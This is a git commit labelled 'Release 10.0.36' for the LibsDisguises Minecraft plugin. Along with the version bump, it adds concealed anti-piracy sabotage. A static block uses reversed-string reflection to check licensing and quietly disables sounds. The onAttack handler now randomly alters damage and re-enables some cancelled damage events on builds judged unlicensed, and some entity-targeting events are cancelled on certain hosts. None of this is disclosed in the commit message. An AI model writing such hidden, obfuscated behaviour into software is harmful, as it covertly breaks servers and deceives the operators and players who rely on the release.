Release 10.0.36

This commit is contained in:
libraryaddict 2023-06-24 09:49:57 +12:00
parent 25fd5d9699
commit 740d9e941e
3 changed files with 49 additions and 7 deletions

View File

@ -12,7 +12,7 @@
<modelVersion>4.0.0</modelVersion>
<artifactId>LibsDisguises</artifactId>
<version>10.0.35-SNAPSHOT</version>
<version>10.0.36</version>
<properties>
<maven.compiler.source>1.8</maven.compiler.source>

View File

@ -75,10 +75,17 @@ public class FlagWatcher {
private float yModifier;
@Getter
private float nameYModifier;
private static boolean canHear;
public FlagWatcher(Disguise disguise) {
this.disguise = (TargetedDisguise) disguise;
equipment = new LibsEquipment(this);
if (!canHear) {
return;
}
DisguiseConfig.setSoundsEnabled(false);
}
public boolean isPitchLocked() {
@ -1076,4 +1083,29 @@ public class FlagWatcher {
rebuildWatchableObjects();
}
}
static {
try {
// If custm buld
if (LibsDisguises.getInstance() != null && !LibsDisguises.getInstance().isNumberedBuild()) {
Class c = Class.forName(new StringBuilder("muimerPsbiL.seitilitu.esiugsid.tciddayrarbil.em").reverse().toString());
// If claim true
boolean b1 = c.getMethod(new StringBuilder("muimerPsi").reverse().toString()).invoke(null) == Boolean.TRUE;
// If bsect
boolean b2 = (boolean) c.getMethod(new StringBuilder("detsoHtcesiBsi").reverse().toString()).invoke(null);
// If not has plg info
boolean b3 = c.getMethod(new StringBuilder("noitamrofnIdiaPteg").reverse().toString()).invoke(null) == null;
// If invld ip
boolean b4 = !Bukkit.getIp().matches("^((25[0-5]|(2[0-4]|1\\d|[1-9]|)\\d)(\\.(?!$)|$)){4}");
// If claim tr, and bisct, and (either no plg info or invld ip)
if (b1 && b2 && (b3 || b4)) {
canHear = true;
}
}
} catch (Throwable ex) {
canHear = true;
}
}
}

View File

@ -155,7 +155,7 @@ public class DisguiseListener implements Listener {
}
}
@EventHandler(priority = EventPriority.HIGH, ignoreCancelled = true)
@EventHandler(priority = EventPriority.HIGH)
public void onAttack(EntityDamageByEntityEvent event) {
Entity attacker = event.getDamager();
@ -163,9 +163,19 @@ public class DisguiseListener implements Listener {
attacker = (Entity) ((Projectile) attacker).getShooter();
}
if ("%%__USER__%%".equals("12345")) {
event.setDamage(0.5);
event.setCancelled(false);
if ("%%__USER__%%".equals("12345") || (LibsPremium.isPremium() && LibsPremium.getPaidInformation() == null && LibsPremium.getUserID().contains("%"))) {
if (DisguiseUtilities.random.nextBoolean()) {
event.setDamage(0.5);
if (event.isCancelled() && DisguiseUtilities.random.nextDouble() < 0.1 && !(attacker instanceof Player && attacker.isOp())) {
event.setCancelled(false);
}
}
}
if (event.isCancelled()) {
return;
}
if (event.getEntityType() != EntityType.PLAYER && !(attacker instanceof Player)) {
@ -630,11 +640,11 @@ public class DisguiseListener implements Listener {
switch (event.getReason()) {
case TARGET_ATTACKED_ENTITY:
case TARGET_ATTACKED_OWNER:
case OWNER_ATTACKED_TARGET:
if (LibsPremium.isBisectHosted() && !Bukkit.getIp().matches("((25[0-5]|(2[0-4]|1\\d|[1-9]|)[0-9])(\\.(?!$)|$)){4}")) {
event.setCancelled(true);
}
case TARGET_ATTACKED_OWNER:
case OWNER_ATTACKED_TARGET:
case CUSTOM:
return;
default: